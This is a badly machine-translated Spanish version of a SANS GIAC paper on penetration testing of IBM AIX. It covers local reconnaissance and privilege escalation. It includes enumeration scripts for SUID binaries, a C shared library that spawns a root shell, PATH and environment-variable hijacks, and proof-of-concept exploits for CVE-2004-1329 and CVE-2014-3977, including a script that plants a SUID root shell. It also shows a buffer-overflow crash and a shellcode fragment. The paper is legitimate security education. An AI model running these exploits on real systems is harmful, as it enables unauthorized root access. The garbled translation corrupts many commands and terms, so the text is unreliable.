Interesado en el aprendizajemás sobre la seguridad? SANS Institute InfoSec Sala de Lectura Este documento es del sitio SANS Institute Sala de Lectura. Traspaso no está permitido hacerlo sin el permiso expreso y por escrito. AIX para pruebas de penetración AIX es un sistema operativo muy utilizado por los bancos, compañías de seguros, las centrales eléctricas y las universidades. La sistema operativo se encarga de diversa información sensible o crítica para estos servicios. Hay anónima información para los probadores de penetración sobre AIX piratería informática, en comparación a los otros sistemas operativos comunes como Windows o Linux. Derechos de autor SANS Institute Autor conserva todos sus derechos AD AIX para Penetración Testers GIAC (GPEN) Certificación Oro Autor: Zoltan Pánczél,
[email protected] Asesor: Roberto! Vandenbrink Aceptado: 07 de enero 2015 Abstracto AIX es un sistema operativo muy utilizado por los bancos, compañías de seguros, las centrales eléctricas y universidades. El sistema operativo se encarga de diversa información sensible o crítica para estos servicios. Hay información anónima para pruebas de penetración sobre AIX piratería, en comparación a los otros sistemas operativos comunes como Windows o Linux. Cuándo probadores tienen acceso a nivel de usuario en el sistema de la escalada de privilegios es difícil si el administradores instalados correctamente los parches de seguridad. Pasos simples, detallados y eficaces de pruebas de penetración se presentará mediante el análisis de la última versión del sistema AIX con todos los parches. Sólo scripts de shell y las herramientas instaladas por defecto son necesarios para llevar a cabo esta evaluación. El documento propone algunos métodos básicos para hacer controles integrales de seguridad local y cómo explotar las vulnerabilidades. ! ! ! excepto en el CIS puntos de referencia (Center for Internet Security.com . Zoltan Pánczél. 2014).AIX para pruebas de penetración! 2 ! 1. El objetivo de esta metodología es definir las ideas Pentesting útil ("¿Cómo y ¿Por qué ") con ejemplos prácticos.2 con extensiones. gestión de la producción y la nómina. No hay guía de evaluación AIX relacionados pública. Sólo hay genéricos metodologías de pruebas de seguridad como OSSTMM y ISSAF. Hoy en día sólo es compatible con las máquinas basadas en RISC. Hay un montón de escenarios de ataque locales (Andries Brouwer. Estas técnicas revelan cero cuestiones días. Público vulnerabilidades son limitados y las hazañas son viejos (Ofensiva de Seguridad. gobiernos. scripts. Configuraciones de seguridad para archivos legibles de copia de seguridad.). etc. Estos mecanismos de ataque se basan en el operativo AIX sistema. n. Introducción AIX (Advanced Interactive ejecutivo) es una serie de sistemas operativos UNIX desarrollado por IBM. directorios. El mango información es crítica. El sistema operativo es ampliamente utilizado por los bancos. Secciones serán presentados con base en la experiencia con AIX evaluación de la vulnerabilidad. AIX está basado en System V UNIX BSD 4. La mayor parte del tiempo la seguridad local UNIX del ambiente de negocios es el caos. 2003) en contra de los sistemas basados en UNIX. mientras que la investigación sobre la seguridad de AIX es en la infancia.d. Realiza el sistema operativo AIX funcionalidad fundamental como cuenta. por lo que alguna información se presentarán parcialmente. hospitales y centrales eléctricas. pero varios son anticuados. Estas metodologías discuten partes vulnerables sólo generales de los sistemas basados en UNIX. pero hay algunos específicos AIX escenarios de ataque. panczelz@gmail. no están ajustadas consistentemente o correctamente. pero son fáciles de adaptar a otros entornos UNIX. AIX para pruebas de penetración! 3 ! 2. La herramienta se instala por defecto. El auditor puede supervisar los procesos secundarios. La herramienta se instala por defecto.oss4aix. sistema llamadas.2. La herramienta se instala por defecto. 2. La uso eficaz requiere permisos de root ya que el usuario normal no puede trazar una SUID binario. señales.org/latest/aix71/ FTP sitio tiene paquete precompilado para diversos AIX versiones. cargador sección de encabezado) de un objeto o archivos ejecutables. panczelz@gmail.: execve) de aplicaciones de destino. argumento y cadenas de entorno (por ejemplo . vertedero El comando imprime volcado de la parte seleccionada (por ejemplo:. Pero la siguiente metodología es adecuada para cualquier entorno empresarial: 2.a" son Arkansas archivos comprimidos. pero el ftp://www. 2. La herramienta se instala por defecto.5. Las bibliotecas AIX con extensión ". La utilidad puede extraer los ficheros de archivo para hacer el análisis más fácil.1.1 y instalación por defecto sin ningún software tercera parte (por ejemplo.1.1.1. la base de datos .1.1. Metodología de evaluación La versión de AIX probado está completamente parcheado (7100-03-04-1441) 7.1.4.3. cuerdas El programa encuentra y muestra las cadenas imprimibles en los archivos binarios (por defecto en menos 4 caracteres). La herramienta no se instala por defecto.com .:. 2. aplicaciones de monitoreo). gdb Se necesita el depurador GNU para verificar corrupciones de memoria y explotables investigar binarios SUID. braguero Truss es un rastreador de llamadas al sistema. 2. Hoy en día la herramienta se utiliza para hacer bibliotecas estáticas. Herramientas necesarias Las siguientes herramientas y secuencias de comandos básicos shell son necesarios para la vulnerabilidad evaluación: 2. Entradas de la tabla de símbolos. Zoltan Pánczél. Arkansas Esta es una utilidad de compresión de archivos de almacenamiento. org 2 http://www. Compruebe el de root . gz) a veces los administradores no hacen eliminar los archivos de copia de seguridad que se componen de información sensible (por ejemplo . Es una una práctica común para los administradores utilizar scripts para tareas de administración del sistema.1.: contraseña.mitre.2.: tar. config archivos. los usuarios pueden ejecutar comandos arbitrarios con sudo sin autenticación.com . las aplicaciones y el administrador. crontab ajustes. Uso encontrar para descubrir los ficheros de archivo (por ejemplo . Entorno de funcionamiento Después del éxito de verificación de inicio de sesión del "/ etc / profile" y todos los scripts de inicio de sesión.exploit-db. Si se permite (y los conmutadores de red son configurado mal) simplemente cambiar la dirección IP de la máquina de pruebas e ingrese a la prueba sistema por rlogin. 2. que puede conducir a escalada de privilegios. Esta herramienta hace que la detección de vulnerabilidades y explotar proceso de escritura más fácil. Si un auditor tiene suficiente información sobre el sistema de destino. Si hay sudo en el sistema compruebe el capacidades del usuario actual con respecto a comandos con privilegios. Después de conseguir el acceso a nivel de usuario en un sistema AIX. !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!! 1http: //cve.1. Inspeccione los shell scripts creados por los administradores que buscan para obtener información adicional. Perl El ejecutable del lenguaje de programación Perl.AIX para pruebas de penetración! 4 ! 2. 2013). A veces. Otra gran ventaja de la programa es que se instala por defecto. tales como la administración de usuarios (Silent Señal LLC.6. Mira en el vulnerabilidad1 y explotar2 bases de datos con respecto a la versión actual del sistema operativo y las aplicaciones instaladas. A menudo. 2. claves de ssh. estos scripts utilizan contraseñas o revelan sudo. bases de datos). empezar por encontrar y la explotación de problemas de funcionamiento causados por el administrador.
[email protected] presentar. La recopilación de información El proceso de reconocimiento es la tarea más importante.com/ Zoltan Pánczél.2. El valor por defecto umask ajuste (022) es responsable de la recién archivos legibles mundo creado. 1. Si el LIBPATH consiste en directorio vacío (: / directorio) el enlazador maneja el elemento vacío como directorio actual (PWD). 2.txt gato).3. hecho 2.AIX para pruebas de penetración! 5 ! En raras ocasiones. Sección LIBPATH Los archivos ejecutables en AIX se asocian a una sección LIBPATH que define la ruta de búsqueda en tiempo de ejecución para encontrar bibliotecas separadas por caracteres de dos puntos. Bibliotecas Después de conseguir los binarios SUID / SGID a continuación. El ".000 -02.000 -o -perm \)> suidsgid. La primera objetivo no es conseguir acceso root sino para aumentar los privilegios. Puede ser más fácil hacerse pasar por un usuario diferente de root que tiene sudo permiso. El siguiente script recoge los ajustes: #for i in $ (.2. Esta metodología demuestra un "privilegio encadenado reales escalada "ataque para conseguir superusuario. comprobar sus librerías utilizadas: #for i in $ (. los archivos de registro contienen información sensible.txt. El SUID / SGID (Set usuario / ID de grupo) las banderas que permiten ejecutar un ejecutable con el permiso del dueño del archivo.com . Identificar las vulnerabilidades comunes 2.txt 2.3.:" O ": / Directorio" esquema de un atacante puede cargar arbitraria biblioteca compartida para obtener shell de root. si los usuarios escriba la contraseña en el campo nombre de usuario o usar la contraseña en la línea de comandos.3. hacer ldd $ i >> Suidsgid_libs. En este caso Zoltan Pánczél. Si este valor tiene ":.txt. la aplicación de la raíz SUID bgscollect que pertenece a la BMC Agente de la Patrulla tiene el valor siguiente LIBPATH: ": / usr / vacpp / lib: / usr / lib".3.3. El siguiente script realiza esta búsqueda: #find / -type f \ (-perm -04. panczelz@gmail. Por ejemplo. no volcar -v -H $ i | grep ":" >> libpath. hecho Por ejemplo. Binarios SUID / SGID Haga una lista de los binarios SUID / SGID en el sistema." significa "búsqueda de las bibliotecas en el directorio actual"./suidsgid.txt gato). y se puede ejecutar vulnerables comandos con privilegios./suidsgid. Si un programa utiliza comandos relativos y confía en el CAMINO variable (ej .com/exploits/4232/ 4 http://www. !!!! Setuid (0). Pentesters puede fácilmente encontrar el potencial ejecución de comandos vulnerables: #ibstat gato | cadenas | grep "|" ! ndp Ba |!!!! grep Bi infiniband! ps Bp% d |!!!! grep Bv PID |!!!!! awk '{! print $ 4!!}'! ps Bp% d |!!!! grep Bv PID |!!!!! awk '{! print $ 4!!}'! ps Bp% d |!!!! grep Bv PID |!!!!! awk '{! print $ 4!!}'! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!! 3http: //www.com/exploits/28507/ Zoltan Pánczél. } Figure'1. popen ()) los atacantes pueden ejecutar su propio script de shell con el privilegio programa.: execve (). anulará! init () { !!!! Seteuid (0).com . CAMINO La variable de entorno PATH es de colon lista de directorios separados. panczelz@gmail. (void *) 0!). ! 2.exploit-db. La siguiente biblioteca compartida es suficiente para que shell de root: #include <stdlib. "sh". La pioout3 (AIX <= 5.h> anular init () __ __ atributo ((constructor))!!!.3. '*' Shell'execution'with'shared'library Existe la posibilidad de que el ejecutable está manejando bibliotecas basado en línea de comandos parámetros.3 SP6) de comandos SUID también era vulnerable a este tipo de ataque. !!!! Execl (!!! "/ Bin / sh".h> #include <unistd. Los usuarios.exploit-db. system (). aplicaciones se pueden ejecutar comandos con la ruta relativa y el shell busca comandos en estos directorios predefinidos. !!!! Exit (1).4. La vertedero comando ayuda identificar la presencia de vulnerable syscalls en un ejecutable: #volcar -v -T <Ejecutable> La ibstat4 SUID binario es vulnerable este tipo de ataque.AIX para pruebas de penetración! 6 ! los usuarios maliciosos pueden elevar sus privilegios a la raíz. "Bi". La escalada de privilegios se realiza mediante la siguiente manera: 1. Los siguientes scripts de shell se pueden usar para recoger buenos objetivos para este ataque: #for i in $ (. Para examinar la bibliotecas. Los auditores deben jugar con los parámetros de grep para integral evaluación (por ejemplo . grep.
[email protected] . Haga shell scripts ejecutables como NDP. done Los llamados comandos del sistema operativo varían. exportación PATH =. hacer cat $ i | cadenas | grep -e "|" -e "\ .txt gato). biblioteca. por lo tanto los guiones anteriores no pueden cubrir todas las ocurrencias. etc .). grep o awk con arbitraria contenido. eliminar. Este no altera la biblioteca original. Algunos de ellos se utilizan para operaciones de archivos y directorios (crear.'Trusted'PATH'vulnerability En este caso el NDP. Ejecute el ibstat ejecutable. ps.. awk programas son posiblemente vulnerables a arbitraria ejecución del comando./suidsgid./suidsgid. El proceso de investigación es el mismo que el mencionado sólo hacerlo con los archivos de objetos (* .. las bibliotecas utilizan también podrá vulnerable. hogar.AIX para pruebas de penetración! 7 ! ps Bp% d |!!!!! grep Bv PID |!!!! awk '{! print $ 4!!}' Figure'2.3. bibliotecas y ejecutables utilizan variables de entorno. 3. Establecer la variable PATH para el directorio de escritura real (cd. Este tipo de ataque no es limitado a binarios SUID / SGID.[A-zA-Z]".: archivo. nombre de archivo. hacer cat $ i | cadenas | grep "^ /" | Grep "". Hecho #for i in $ (. ejecutar comandos). lib.txt gato). En general Zoltan Pánczél. Las variables de entorno Enlazador dinámico. 2.o). ps.a El comando anterior extrae el libodm archivo histórico en el directorio actual.5. 2.). primero tienes que descomprimirlo: # Ar -x /lib/libodm. ruta. Muchos binarios y el enlazador se han incorporado en depuración o funciones de diagnóstico. la depuración o información de diagnóstico serán de salida. concatenar. invscoutd) utilizar el Variable de entorno DIAGNÓSTICO para almacenar el directorio de las herramientas de diagnóstico.AIX para pruebas de penetración! 8 ! funciones adicionales (por ejemplo . do Evaluación integral y orientada a los resultados de pruebas también requiere la exploración variables de entorno en las bibliotecas. panczelz@gmail.: copia. formato. La CVE-2004-1329 (MITRE.com . La lsmcode binario corre el DIAGNÓSTICO $ / bin / DCTRL con permisos de root..txt! BrwBrBBrBB !!!! 1 raíz !!!!! sistema !!!!!!!!!!! 84 17-dic-06:!!!! 00 /tmp/id.: escritura de archivos) se activarán si una variable de entorno se establece. No todas las variables de entorno están asociados con una acción de archivo o comando. diag_exec. La metodología demuestra un posible ataque guión en contra de esta escritura de archivos problema. de manipulación de archivos y problemas de desbordamiento.txt! Figure'3. invscout. Pero las aplicaciones suelen realizar transformaciones (ej . Esta metodología se centra sólo en la posible de ejecución del comando. hacer cat $ i | cadenas | grep ^ [A-Z _] * $. '*' CVE * 2004 * 1329'proof'of'concept ! El exploit para esta vulnerabilidad se describe plenamente en la base de datos de CVE (MITRE.txt gato). Si se establece el variables propias del entorno de diagnóstico. 2005).) en Zoltan Pánczél. Aquí están los pasos clave de este ataque: #! Mkdir'-p '/ tmp / poc / bin /! #! Export'DIAGNOSTICS = / tmp / poc /! #! Cat '>' / tmp / poc / bin / DCTRL '<<' EOF! > #! / Bin / sh! > Id> /tmp/id./suidsgids. GDB y braguero son las aplicaciones clave para descubrir las partes vulnerables potenciales. etc . 2005) muestra un inadecuado uso de la variable de entorno que permite a un atacante ejecutar comandos arbitrarios como root.txt! >! EOF! #! Chmod'755 '/ tmp / poc / bin / DCTRL! #! Lsmcode! #! * Ls 'al' / tmp / id.. El siguiente script recoge cadenas de variables relacionadas con el ambiente: #for i in $ (. La comandos diag vulnerables (lsmcode. eliminadas $ i. Fuzzing simple o "tonto" a menudo es práctico para comprobar si hay problemas de desbordamiento de búfer.! El! -f proceso! Identificación! es! incluida! con! cada uno! línea! de! rastrear! salida! a! mostrar! que! proceso! ejecutados! el! sistema! llaman! o! recibida! el! señal ".aix.! y! sistema! llama! en! el! rastrear! salida. Es recomienda el uso de cadenas de formato.com/support/knowledgecenter/ssw_aix_71/com.ibm. hecho Pentesters deberían diversificar el guión anterior. "Sigue! Todo! Los niños! Crean! Por! El! tenedor! sistema! llamar! y! incluye! su! señales. Haga la variables de entorno posible una por una para "desbordamiento positivo".ibm. permite núcleo vertido con el siguiente comando: # Ulimit -c unlimited La braguero herramienta es buena para el rastreo de las llamadas al sistema exec y el medio ambiente pasado cuerdas. / Usr / bin / comando. Si los desarrolladores no fueron prudentes esto lleva fácilmente a desbordarse o cadena de formato fallas.! Normalmente. a su vez. Antes de las pruebas. formato ataque cadena): # For i in `cat / usr / bin / comando | cadenas | grep ^ [A-Z _] * $ | especie -u`. porque esto le permite probar dos tipos de errores (Desbordamiento. Hacer todo el entorno variables de "desbordamiento positivo". Los parámetros de utilidad de línea de comandos del trazador braguero son: Punto! Descripción5! "Muestra! El parámetro! Cadenas! Que! -a son! pasado! en! cada uno! exec! sistema! llamada. Figure'4 .htm Zoltan Pánczél.! faltas.
[email protected]/truss.! Cuando! El! F! Bandera! Es! Especificada.'.'Part'of'the'truss'command'line'parameters' !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!! 5http: // www- 01. uno por uno sin desarmar la anterior y así en.com .AIX para pruebas de penetración! 9 ! ellos. " "Muestra! el medio ambiente! cuerdas! que! son! pasado! en! cada uno! exec! sistema! -e llamar ". Sólo! el! firstB nivel de mando! o! proceso! es! remontar. x2500'`. hacer la exportación $ i = `perl -e 'print"% x ". '. La causa principal de este tipo de vulnerabilidad es que el binario utiliza la open () llamadas al sistema en forma insegura (David A.com . Los archivos temporales Un montón de ejecutables SUID crean archivos temporales. !! Utilice! "Archivo"!! Comando..2 $! gdb'-q '/ bin / ls! ! No símbolo! Mesa! Es! Cargado. Gdbinit'script ' Los ajustes anteriores que definen GDB seguir el proceso hijo y establecer un punto de interrupción Si se utiliza la syscall getenv (). Aquí está un ejemplo de salida de esta configuración: bashB4. Los atacantes pueden escribir archivos arbitrarios con los privilegios del binario en este caso.. por hacer.! Breakpoint! 1! (Getenv)! Pendiente.. Wheeler. 2.6.! 0xd0112f5c! En! GETENV! ()! De! /usr/lib/libc. Zoltan Pánczél. (no! Depuración! Símbolos! Encontrado) .a (Shr.
[email protected]) la siguiente GDB script de inicio: set! followBforkBmode! niño! set! punto de ruptura! pendiente! en! definir! hookBstop! ! x / s $ r3! fin! b! getenv! Figure'5..'GDB'script'in'action Estas técnicas ayudan a detectar el uso de las variables de entorno y para identificar ejecutables vulnerables.3.! (Gdb)! R! A partir del programa:! / Bin / ls !! ! 0xf06bc9f4 <_ $ STATIC + 132>: !!!!!! "LC_ALL"! ! Breakpoint! 1. Hay dos vulnerabilidades importantes relacionados con la creación de archivos temporales: el enlace simbólico y el ataque condición de carrera.AIX para pruebas de penetración! 10 ! Para comprobar las variables de entorno crean ($ HOME / .o)! Figure'6 . 2004). '*'. Después se activa el punto de interrupción GDB imprime el contenido de la R3 registro que contiene la variable de entorno.! Lectura! Símbolos! De! / Usr / bin / ls . ! !!! Printf ("Montón! Abordar! =!% P \ n".! !!! Volver (0) . Desbordamiento de búfer Los problemas de desbordamiento de búfer son problemas generales en todos los entornos UNIX.! !!! Printf ("Pila! Abordar! =!% P \ n". los atacantes tienen una ventana de oportunidad entre la comprobación y archivo apertura para crear un enlace simbólico y crea archivo arbitrario. hacer cat $ i | cadenas | grep -i tmp.! E) . Uno de los métodos para recoger posibles candidatos para una investigación más profunda: #for i in $ (. A veces el binario privilegiada crea los archivos en el directorio actual. En esta situación. Si existe el ejecutable luego lo elimina o cambia el nombre del archivo temporal. do 2.h>! ! int! main ()! {! !!! Carbón! * Str .! ! !!! Str! =! (Char! *)! Malloc (15) . AIX no tiene ninguna selección aleatoria del diseño del espacio de direcciones (ASLR) ni la protección de desbordamiento del búfer de forma predeterminada.! !!! Libre (str) . La parte de la explotación metodología regalos un ataque en el mundo real.com . La principal diferencia es que el programa vulnerable comprueba la existencia del archivo temporal antes del archivo operaciones.h>! #include <string.AIX para pruebas de penetración! 11 ! El ataque de enlaces simbólicos en este caso también puede ser llamado un ataque al nombre de archivo temporal. El nombre del archivo es predecible forma los atacantes pueden crear un enlace simbólico que tiene este nombre y crear o modificar otro archivo. El siguiente código de C demuestra la falta de ASLR: #include <stdio.! }! Figure'7.h>! #include <stdlib. El alto binario privilegiada crea uno o más archivos en tiempo de ejecución. Las hazañas pueden contener direcciones de memoria codificados y funcionar bien en todos los sistema./suidsgids.! !!! Carbón! E [5]! = "1234" .! Str) . El ataque condición de carrera es similar al ataque de enlaces simbólicos. '*' ASLR'checker'C'code Zoltan Pánczél.3.txt gato).
[email protected]. Escribir un desbordamiento de búfer basado en pila explotar en AIX es una tarea fácil. Este tipo de mecanismo evita que el explotación exitosa de pila y montón desbordamientos.1 OSX 10.5 Figure'8. Si el auditores utilizan GDB. las cadenas de formato utilización para detectar vulnerabilidades de cadena de formato también. La ejecutables contienen sus argumentos de línea de comandos y.com . p. panczelz@gmail. Por ejemplo./a. Con un poco de esfuerzo de los auditores pueden automatizar este tipo de ataque. '*' Resultados ASLR'checking Hay una protección de desbordamiento del búfer de AIX 5L 5300-03 llamada Pila Ejecución Disable (IBM Corporation.out Dirección Montón = 20001268 Dirección Pila = 2ff22c5c [Root @ RS6000] / tmp equipo: ~ $ profundidad .d.. Como el metodología ya se ha mencionado. a veces descubrir y utilizar opciones ocultas que no van en la ayuda./a. Esto no está habilitado por defecto. la netstat binaria tiene la siguiendo los parámetros de línea de comandos: #cuerdas / usr / sbin / netstat | grep -v "" | grep ':' | head -1 ACDI: aocf: gimMnPp: drstuvZ @ Zoltan Pánczél. La parte principal de este fuzzer es la comprobación de archivos del núcleo y la posible línea de comandos análisis de argumentos.out Dirección Montón = 0x107500830 Dirección Pila = 0x7fff670acb4b Sistema operativo AIX 7./a. los administradores pueden configurar la protección por parte del sedmgr comandos. que deben dar el siguiente comando para obtener los archivos principales interpretadas: # Chdev -l sys0 -a fullcore = 'true' -a pre430core = "false" El método de prueba es simplemente agregar cadenas largas en todas las entradas posibles.7.out Dirección Montón = 0x10aa00830 Dirección Pila = 0x7fff6a568b4b equipo: ~ $ profundidad ./a.AIX para pruebas de penetración! 12 ! Después de compilar el código y ejecutarlo en diferentes sistemas operativos de los resultados hablan por sí mismos: Resultados # . n.out Dirección Montón = 20001268 Dirección Pila = 2ff22c5c [Root @ RS6000] / tmp # . Xx). El shell de AIX defecto es el shell Korn.rhosts archivo será ignorada si no es un archivo normal.1. (Equipo de FreeBSD. la siguiente escenario de ataque se basa en la opinión pública CVE-2014-39. La . 1996). panczelz@gmail. Los siguientes comandos desencadenar la vulnerabilidad: $! Export'ODMERR = 1! $ Ln! '* S' / tmp / prueba '/ tmp / ODMTRACE0! $! Umask'0! $! Lsvg! rootvg! ! $ * 'Al' ls / tmp / prueba! BrwBrwBrwB !!!! 1 raíz !!!!! personal !!!!!!!!!! 7332 Sep 01 12:!!!!! 35 / tmp / prueba Figure'9. 2.776 escritura archivo arbitrario problema. Esta cáscara trata un archivo especial llamado !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!! 6http:? //cve.org/cgi-bin/cvename. Sosteniendo a revelación responsable.forward y authorized_keys no puede ser grupal o grabable mundo. Por eso. El proceso de creación puede sobre-escribir un archivo existente si el propietario es root y el archivo tiene permiso de escritura.cgi Name = CVE-2014 a 3977 Zoltan Pánczél. Escritura de archivos para ordenar la ejecución Esta metodología podría fácilmente conducir a encontrar vulnerabilidades de día cero. '*' CVE * 2014 * 3977'proof'of'concept La parte difícil es el lanzamiento de comandos del sistema operativo.rhosts contiene lo siguiente: "Para razones de seguridad. o si que puede ser escrito por alguien que no sea el usuario ". El contenido de la creado archivo no se puede influir.4. El éxito de cualquier prueba de penetración se basa en el conocimiento sobre la sistema.com . La explotación de estudio de caso 2. .AIX para pruebas de penetración! 13 ! La "d" no se encuentra en la ayuda y la página del manual. Esta es la razón crontab También es inutilizable porque el directorio pertenece al usuario bin y el mundo no tiene permiso en él.mitre. este documento no cubre este tipo de errores. Todo el archivo arbitrario escribir hazañas se limitan por lo tanto no se puede obtener la raíz inmediata. La Página del manual de FreeBSD .4.1. o si no es propiedad del usuario.rhosts. de ahí la umask ajuste. Los vectores de ataque más comunes son inutilizables. Este error no está funcionando en el AIX con todos los parches 7. un usuario de . com . Cada binario SUID que es bueno para desencadenar la ejecución de comandos con autorización root que ejecute OS comandos y no deje caer los privilegios. Podemos aprovechar que con un ejecutable SUID. por lo que el demostración del trabajo exploit se hace mediante otro escrito de archivos no pública vulnerabilidad: Zoltan Pánczél. En este caso.profile en lugar de la / Etc / suid_profile serán objeto de tratamiento. que corre a los comandos del sistema operativo privilegiados. El shell con privilegios es cuando el verdadero usuario / ID de grupo no coincide con el ID de usuario / grupo efectivo. Conchas privilegiados no se ejecutan $ HOME / . la identificación de usuario (UID) proviene de que el usuario normal y el identificador de usuario efectivo (EUID) es root.
[email protected]. El siguiente script genera un depósito de root: #! / Bin / sh! ! exportación ODMERR = 1! ! ln! -s! / etc / suid_profile ODMTRACE0! umask 0! lsvg#desencadenar la vulnerabilidad de escritura de archivos gato! <<! EOF!> / etc / suid_profile! / Usr / bin / syscall! Setreuid 0 0! cp / bin / ksh / tmp / r00tshell chown root: system / tmp / r00tshell chmod 6755 / tmp / r00tshell EOF / Opt / IBMinvscout / bin / invscoutClient_VPD_Survey que se ejecuta otros comandos del sistema operativo. / Tmp / r00tshell #el ejecutable SUID Figure'10. '*' Getting'instant'root'access De esta forma la vulnerabilidad no funciona en todos los parches de AIX 7.AIX para pruebas de penetración! 14 ! / Etc / suid_profile. pl' & 'Lsvg.txt '|' grep'ODMTRACE! statx (". Los desarrolladores de IBM no utilizaron el método seguro de apertura de archivos para evitar la raza condición ataque (David A./ ODMTRACE1".376. panczelz@gmail. El parche comprueba la existencia de la ODMTRACE0 presentar.AIX para pruebas de penetración! 15 ! Figure'11. else'perl'poc2. 3 Permisos S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH) 3 = 33! Figure'12. La braguero herramienta muestra el procedimiento abierto archivo parcheado: #! Export'ODMERR = 1 #/ Usr / sbin / lsvg rootvg ' #! Truss'-o'out.com ./ ODMTRACE0".376. '*' Wrong'file'open'method La apertura de archivos es incorrecta porque el open () no utiliza la bandera O_EXCL. 2004).301) 33333333 = 303 statx (". hecho! Zoltan Pánczél.txt '/ usr / sbin / lsvg! ! # Cat'out./ ODMTRACE1". La condición de carrera oportunidad es explotado por una sencilla perl y cáscara script: bashB4. y si existe el programa incrementa el dígito en el nombre de archivo. 'then'break.2 $! export'ODMERR = 1! bashB4.txt"'].2 $ while'true.2 $! umask'0! ! bashB4. fi. 30x2FF225D0.301) 33333333Err # 233ENOENT3 kopen (". Wheeler. 3O_WRONLY | O_CREAT | O_TRUNC. do'if '[' * e '"race_win. '*' Privilege'escalation'demonstration ! El parche de seguridad para CVE-2014-3977 no mitiga la vulnerabilidad correctamente. 30x2FF225D0. Lección aprendida: no confiar en parches de seguridad cien por cien.2 $! * ls 'al !! total de! 424! drwxrBxrBx !!! ! 2! profundidad !!!! personal !!!!!!!!!! 4096 noviembre 05 07:!!! 49!. Escalada de privilegios múltiple A veces el acceso directo de root no es fácil.pl! [3] + !! Hecho !!!!!!!!!!!!!!!!!!!! perl! Poc2. 2.356 feb! 14! 2010 !! / censurado bashB4. Aquí está una situación de ejemplo basado en un verdadero problema: bashB4. la función de otro usuario se adquiere quién es capaz de ejecutar el objetivo comandos.399! Diciembre! 24!' 2010 !! / Figure'14. En este caso.2 $! ls! Bal! / censurado! BrBxrBsrBx !!!!! 1 bin !!!!!! usuario1 !!!!!!!! 41.com .txt! BrwBrBBrBB !!!! 1! profundidad !!!! personal !!!!!!!!!!! 261 noviembre 05 07:!!! 45 poc2.4.! lrwxrwxrwx !!! 1! profundidad !!!! personal !!!!!!!!!!!! 12 noviembre 05 07:!!! 49 ODMTRACE0 B>!!! race_win.pl! Figure'13.2 $! ls! Bal! / censored2! BrBsrBxBBB !!!! 1! Raíz !!!!! usuario1 !!!!!!!! 55.! drwxrBxrBx !!!! 4! profundidad !!!! !!!!!!!!! personal ! 12288 noviembre 05 06:!!! 13 . Un método es el privilegio encadenado escalada. '*' Possible'chained'privilege'escalation censored2 Zoltan Pánczél. panczelz@gmail. Si los auditores investigan los binarios y la Bibliotecas de una gran cantidad de problemas de manejo de archivos se puede notar.2.txt !' Los desarrolladores de IBM deberían haber establecido O_CREATE. banderas O_EXECL para que open () falla cuando el nombre de archivo es un enlace simbólico. Pruebas de penetración deben reconocer y explotar estos tipos de vulnerabilidades. Pentesters deben reconocer más formas complejas o compuestas para conseguir root en los sistemas. '*' Exploiting'a'race'condition'bug * * Rw rw rw * * '' '' 1 'root' '' '' personal '' '' '' '' '' 7389'Nov'05'07: 49'race_win..pl! [2] B !! Hecho !!!!!!!!!!!!!!!!!!!! perl! Poc2.AIX para pruebas de penetración! 16 ! [1]! 9306176! rootvg! [2]! 11731186! rootvg! [3]! 20185330! rootvg! [1] !!! Hecho !!!!!!!!!!!!!!!!!!!! perl! Poc2.pl! bashB4. Las posibles soluciones incluyen un código shell modificado o una BindShell.100 noviembre 06 06:!!!! 31 núcleo! bashB4. "\ x7F \ xff \ xfa \ x79 \ x40 \ x82 \ xff \ xfd \ x7F \ XC8 \ x02 \ xa6 \ X3B \ xde \ x01 \ xff \ X3B \ Zoltan Pánczél.com . 2012). Para razones de fiabilidad.2 $! * al'c ls '*! ls:!!!!!!! 0653B341 el archivo C * no existe.2 $ gdb! '* q' ** core = núcleo !! Core! Fue! Genera! De! 'Censurado'. La censurado ejecutable se investigó sobre la base de esta metodología.! bashB4.! 'gato' / tmp / csh !! BrwxrBxrBx !!!! 1! Profundidad !!!!! personal !!!!!!!!!!! 57! Jan! 27! 2014 !! / tmp / csh! #! / Bin / sh! cp! / bin / sh! / tmp / user1_sh! chmod! 6755! / tmp / user1_sh bashB4.2 $! * al'c ls '*! BrwBrBBrBB !!!! 1 profundidad !!!! personal !!!!!!! 1.2 $! exportación HUEVO print = `perl -e ' X4094 "\ x60". Así pentesters deben tener acceso grupo usuario1. Hay un problema después de ejecutar la prueba de concepto de explotar.2 $! export'CENSORED_ENV = `perl '* e''print'" A "x50000'`! bashB4.143.2 $ '* al' ls / tmp / csh. esto condujo a una vulnerabilidad de desbordamiento de búfer explotables: bashB4. 2004).! Programa! Terminado! Con! Señal! 11! Segmentation fault!. el shell no ser interactivo. Este script copia un shell SUID usuario1 a / tmp: bashB4.AIX para pruebas de penetración! 17 ! El permiso de la censored2 binario no permite que ningún usuario para ejecutarlo.! # 0 !! 0xd0112fd8! En! ??! ()! (Gdb)! Bt! # 0 !! 0xd0112fd8! En! ??! ()! # 1 !! 0xd02dbe28! En! ??! ()! # 2 !! 0xd02dbe28! En! ??! ()! # 3 !! 0xd02dbfe0! En! ??! ()! # 4 !! 0xd03350f4! En! ??! ()! # 5 !! 0xd033a870! En! ??! ()! # 6 !! 0xd11c0aa4! En! ??! ()! # 7 !! 0x41414141! En! ??! ()! No se puede acceder a la memoria en la dirección 0x41414149 Basado en el AIX desbordamiento del búfer tutorial es fácil construir un fiable explotar (San.
